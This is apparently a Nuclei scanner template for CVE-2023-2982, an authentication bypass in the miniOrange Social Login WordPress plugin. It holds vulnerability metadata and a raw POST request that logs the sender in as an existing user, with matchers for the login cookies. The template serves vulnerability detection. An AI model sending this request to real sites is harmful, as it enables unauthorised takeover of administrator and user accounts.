id: CVE-2023-2982

info:
  name: Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.
  impact: |
    An attacker can gain unauthorized access to user accounts, potentially leading to data theft, privilege escalation, or other malicious activities.
  remediation: Fixed in version 7.6.5
  reference:
    - https://lana.codes/lanavdb/2326f41f-a39f-4fde-8627-9d29fff91443/
    - https://wordpress.org/plugins/miniorange-login-openid/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2982
    - https://plugins.trac.wordpress.org/browser/miniorange-login-openid/trunk/mo-openid-social-login-functions.php#L107
    - https://plugins.trac.wordpress.org/changeset/2924863/miniorange-login-openid
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2982
    cwe-id: CWE-288
    epss-score: 0.7451
    epss-percentile: 0.99141
    cpe: cpe:2.3:a:miniorange:wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\)
    framework: wordpress
  tags: cve,cve2023,wp,wordpress,wp-plugin,auth-bypass,miniorange

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D

    matchers-condition: and
    matchers:
      - type: word
        part: set_cookie
        words:
          - "wordpress_sec_"
          - "wordpress_logged_in_"
        condition: or

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100e6e279fcd270d953ca211c728abdeccf0164fdcb464a89fc5c9ea91bcf5ee71402210094a4b7a35d7093473138b08a5624d828c5b6373793b0c219f7b74a17e583576f:922c64590222798bb761d5b6d8e72950